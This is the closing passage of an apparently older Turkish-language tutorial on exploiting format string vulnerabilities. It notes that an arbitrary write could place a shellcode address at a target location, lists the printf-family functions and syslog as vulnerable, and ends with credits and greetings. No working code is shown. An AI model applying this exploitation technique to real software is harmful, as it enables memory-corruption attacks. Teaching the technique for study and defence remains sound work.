hedefimize 0x60607070 yazdirdik, peki artik onumuzde hic bir engel kalmadi su anda , artik bu 0x60607070 yerine hafizadaki shellcode muzun adresini buraya yazdirabilirmiyiz ? Cevap tabi ki yazdirabiliriz.. Bundan sora yazacagim 2. yazida onlari daha detayli bi bicimde anlatacagim , ama ilk once bu yazdiklarimi iyi bi sekilde pekistirmeniz lazim :P -BOLUM 0x8 : FORMAT STRING BARINDIRAN FONKSIYONLAR Simdiye kadar biz hep yazimizda format string i printf() fonksiyonunda inceledik , fakat format string barindiran fonksiyon aileleri bunlarla sinirli deil bunlara ornek olarak siralamak istersek ; - printf - fprintf - sprintf - snprintf - vprintf - vfprintf - vsprintf - vsnprintf ve printf haricinde syslog() gibi format string barindiran fonksiyonlar ornek verilebilir. Inanin bana su anda yorgun oldugum icin devam edemicem , Ama delikanli sozu veriyorum 2. yazimi da en kisa zamanda huzurlariniza sunacagim :P, Umarim begeniyle okumussunuzdur, her ne kadar surc-i lisan ettikse affedin , yanlislarim varsa ki illaki vardir bana bildirebilirsiniz , sayfanin basinda verdigim adresten , tekrar veriym ben ; narkotix@linuxmail.org 2.Yazimda format string on heap adli yazimla karsinizda olacagim Insallah, -BOLUM 0x9 SON SOZLER VE KAYNAKLAR Text- Emre Kaya Code- Emre Kaya Yararlanilan Dokumanlar - Rave http://www.geocities.com/ravecoolr/ Greetingz - EFnet,#plan9, #0x80, Uz4yh4N,mathmonkey,xmlguy,EnderUNIX(Turk BSD Crew),gotcha NOT : YAZININ HER HAKLARI Emre KAYA'ya AIT OLUP YAZARIN ISMI BELIRTILMEDIGI SURECE YAYINLANMASI YASAKTIR N4rK07IX nongenius without this seal. THANX.